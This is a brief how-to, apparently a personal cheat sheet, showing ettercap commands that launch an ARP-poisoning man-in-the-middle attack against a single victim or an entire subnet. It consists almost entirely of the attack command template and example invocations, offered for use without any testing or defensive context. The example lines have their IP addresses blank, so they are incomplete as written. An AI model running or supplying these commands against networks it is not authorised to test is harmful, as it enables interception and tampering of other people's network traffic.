Using ettercap to launch MITM attacks
sudo ettercap -T -i <interface-name> -M arp /<gateway/router ip-addr>/ /<victim ip-addr>/

for example; on interface "en1", if the gateway is "" and the target is "":

sudo ettercap -T -i en1 -M arp / /

or to target the entire subnet:

sudo ettercap -T -i en1 -M arp / //
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